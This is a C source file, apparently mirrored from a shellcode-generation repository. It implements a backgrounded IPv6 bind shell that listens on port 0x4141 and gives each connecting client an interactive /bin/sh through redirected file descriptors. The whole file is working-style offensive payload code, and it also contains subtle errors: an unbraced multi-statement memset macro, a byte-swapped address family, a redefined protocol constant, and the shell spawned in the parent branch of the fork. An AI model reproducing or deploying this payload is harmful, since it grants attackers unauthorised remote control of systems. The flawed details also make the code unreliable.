mirror of
https://github.com/rizinorg/shellforge4.git
synced 2026-11-08 15:59:52 -10:00
55 lines
1.1 KiB
C
55 lines
1.1 KiB
C
#if 0
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#include <sys/socket.h>
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#include <string.h>
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#include <stdio.h>
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#include <netinet/in.h>
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#include <arpa/inet.h>
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#include <errno.h>
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#endif
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#define LOCAL_PORT 0x4141
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#define IPPROTO_TCP 0
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#define IN6ADDR_ANY_INIT {{{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }}}
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#define memset(addr, c, len) \
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int i = 0; \
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for(i = 0; i < len; i++) { \
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addr[i] = 0; \
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}
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struct in6_addr any = IN6ADDR_ANY_INIT;
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int main(void)
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{
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char *cmd[] = {"/bin/sh", "-i", 0};
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struct sockaddr_in6 cli;
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struct sockaddr_in6 tcp;
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int sock = 0, sock_con = 0;
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unsigned int slen = sizeof(cli);
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unsigned char *ptr = (unsigned char *)&tcp;
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if (fork()) exit(0);
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sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
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memset(ptr, 0, sizeof(tcp));
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tcp.sin6_family = htons(AF_INET6);
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tcp.sin6_port = htons(LOCAL_PORT);
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bind(sock, (struct sockaddr *) &tcp, sizeof(tcp));
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listen(sock, 1);
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while (1) {
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sock_con = accept(sock, (struct sockaddr *) &tcp, &slen);
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int pid = fork();
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if (pid) {
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dup2(sock_con, 0);
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dup2(sock_con, 1);
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dup2(sock_con, 2);
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execve(*cmd, cmd, 0);
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exit(0);
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}
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close(sock_con);
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wait4(-1, NULL, 0, 0);
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}
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return 0;
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}
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